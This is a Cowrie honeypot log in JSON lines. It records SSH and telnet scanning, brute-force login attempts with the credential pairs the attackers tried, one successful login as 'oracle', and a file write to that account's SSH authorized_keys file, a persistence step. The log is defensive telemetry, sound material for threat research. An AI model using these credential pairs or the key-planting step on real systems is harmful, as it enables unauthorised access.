{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:01.782669Z","src_ip":"61.72.55.130","session":"511428d24f4f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:01.786507Z","src_ip":"61.72.55.130","session":"511428d24f4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":33268,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1687876e995","protocol":"ssh","message":"New connection: 61.72.55.130:33268 (159.203.135.109:22) [session: c1687876e995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:01.975305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:01.982208Z","src_ip":"61.72.55.130","session":"c1687876e995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:02.179932Z","src_ip":"61.72.55.130","session":"c1687876e995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34884,"dst_ip":"10.17.0.5","dst_port":23,"session":"43ba0db5930f","protocol":"telnet","message":"New connection: 62.210.97.77:34884 (10.17.0.5:23) [session: 43ba0db5930f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:02.721577Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56990,"dst_ip":"10.17.0.5","dst_port":23,"session":"2928e8f32a84","protocol":"telnet","message":"New connection: 65.60.27.33:56990 (10.17.0.5:23) [session: 2928e8f32a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:02.906715Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:03.004481Z","src_ip":"61.72.55.130","session":"c1687876e995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57154,"dst_ip":"10.17.0.5","dst_port":23,"session":"e56ead02447f","protocol":"telnet","message":"New connection: 165.232.131.181:57154 (10.17.0.5:23) [session: e56ead02447f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:03.319433Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58096,"dst_ip":"10.17.0.5","dst_port":23,"session":"d296f840c7cf","protocol":"telnet","message":"New connection: 65.60.27.33:58096 (10.17.0.5:23) [session: d296f840c7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:03.766267Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44368,"dst_ip":"10.17.0.5","dst_port":23,"session":"07faecd603a7","protocol":"telnet","message":"New connection: 38.54.119.93:44368 (10.17.0.5:23) [session: 07faecd603a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:04.202043Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:04.207686Z","src_ip":"61.72.55.130","session":"c1687876e995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":33284,"dst_ip":"159.203.135.109","dst_port":22,"session":"4013e5f78801","protocol":"ssh","message":"New connection: 61.72.55.130:33284 (159.203.135.109:22) [session: 4013e5f78801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:04.401694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:04.406414Z","src_ip":"61.72.55.130","session":"4013e5f78801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:04.604593Z","src_ip":"61.72.55.130","session":"4013e5f78801","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:05.438950Z","src_ip":"61.72.55.130","session":"4013e5f78801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:05.639544Z","src_ip":"61.72.55.130","session":"511428d24f4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:05.645025Z","src_ip":"61.72.55.130","session":"4013e5f78801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.46457242965698,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:09.286777Z","src_ip":"165.232.131.181","session":"8d2ef781f163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51312,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d749cfac900","protocol":"telnet","message":"New connection: 62.210.97.77:51312 (10.17.0.5:23) [session: 3d749cfac900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:09.807540Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60016,"dst_ip":"10.17.0.5","dst_port":23,"session":"68163e43de0f","protocol":"telnet","message":"New connection: 165.232.131.181:60016 (10.17.0.5:23) [session: 68163e43de0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:11.520478Z"}
{"eventid":"cowrie.session.closed","duration":38.44405722618103,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:17.071646Z","src_ip":"165.232.131.181","session":"5bb7396b3c75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55778,"dst_ip":"10.17.0.5","dst_port":23,"session":"bddae4bb3150","protocol":"telnet","message":"New connection: 38.54.119.93:55778 (10.17.0.5:23) [session: bddae4bb3150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:23.941762Z"}
{"eventid":"cowrie.session.closed","duration":120.00390863418579,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:26.118125Z","src_ip":"165.232.131.181","session":"7bb531789585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":37470,"dst_ip":"10.17.0.5","dst_port":22,"session":"14c99457eff2","protocol":"ssh","message":"New connection: 103.176.20.115:37470 (10.17.0.5:22) [session: 14c99457eff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:30.752117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:30.757303Z","src_ip":"103.176.20.115","session":"14c99457eff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:31.005977Z","src_ip":"103.176.20.115","session":"14c99457eff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.66549277305603,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:31.607120Z","src_ip":"38.54.119.93","session":"bddae4bb3150","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"bB123456","message":"login attempt [root/bB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:32.034727Z","src_ip":"103.176.20.115","session":"14c99457eff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:33.287252Z","src_ip":"103.176.20.115","session":"14c99457eff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.33079671859741,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:35.548632Z","src_ip":"165.232.131.181","session":"c84fc9ca687c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.73726749420166,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:37.458588Z","src_ip":"62.210.97.77","session":"43ba0db5930f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.763017416000366,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:38.627065Z","src_ip":"192.211.53.160","session":"e658314c0351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.20122575759888,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:41.777984Z","src_ip":"38.54.119.93","session":"600951c7372f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.442853689193726,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:42.208980Z","src_ip":"65.60.27.33","session":"d296f840c7cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.68469762802124,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:42.492095Z","src_ip":"62.210.97.77","session":"3d749cfac900","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.486634731292725,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:43.329927Z","src_ip":"38.54.119.93","session":"113c4ed5a84f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.404502391815186,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:45.311202Z","src_ip":"65.60.27.33","session":"2928e8f32a84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56362,"dst_ip":"10.17.0.5","dst_port":23,"session":"277c5e69c8e1","protocol":"telnet","message":"New connection: 62.210.97.77:56362 (10.17.0.5:23) [session: 277c5e69c8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:45.420699Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56378,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bd02e37045c","protocol":"telnet","message":"New connection: 62.210.97.77:56378 (10.17.0.5:23) [session: 5bd02e37045c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:45.840876Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":49070,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f0a68d4569c","protocol":"ssh","message":"New connection: 20.203.42.204:49070 (159.203.135.109:22) [session: 8f0a68d4569c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:46.209625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:46.217887Z","src_ip":"20.203.42.204","session":"8f0a68d4569c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:46.384449Z","src_ip":"20.203.42.204","session":"8f0a68d4569c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w#E$R","message":"login attempt [admin/1q2w#E$R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:47.081291Z","src_ip":"20.203.42.204","session":"8f0a68d4569c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:48.251692Z","src_ip":"20.203.42.204","session":"8f0a68d4569c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.31142282485962,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:51.630715Z","src_ip":"165.232.131.181","session":"e56ead02447f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":59978,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6f15f2efba2","protocol":"ssh","message":"New connection: 61.72.55.130:59978 (159.203.135.109:22) [session: d6f15f2efba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:57.030892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:57.035590Z","src_ip":"61.72.55.130","session":"d6f15f2efba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:57.240026Z","src_ip":"61.72.55.130","session":"d6f15f2efba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp-user","password":"ftp-user","message":"login attempt [ftp-user/ftp-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:58.085339Z","src_ip":"61.72.55.130","session":"d6f15f2efba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.77368712425232,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:58.975608Z","src_ip":"38.54.119.93","session":"07faecd603a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:59.291881Z","src_ip":"61.72.55.130","session":"d6f15f2efba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.80595850944519,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:00.326333Z","src_ip":"165.232.131.181","session":"68163e43de0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52544,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa19d55980e3","protocol":"telnet","message":"New connection: 38.54.119.93:52544 (10.17.0.5:23) [session: fa19d55980e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:04.034848Z"}
{"eventid":"cowrie.session.closed","duration":35.448307037353516,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:21.289050Z","src_ip":"62.210.97.77","session":"5bd02e37045c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.27732992172241,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:23.697936Z","src_ip":"62.210.97.77","session":"277c5e69c8e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":54332,"dst_ip":"10.17.0.5","dst_port":22,"session":"01cdeac6910e","protocol":"ssh","message":"New connection: 103.176.20.115:54332 (10.17.0.5:22) [session: 01cdeac6910e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:29.437391Z"}
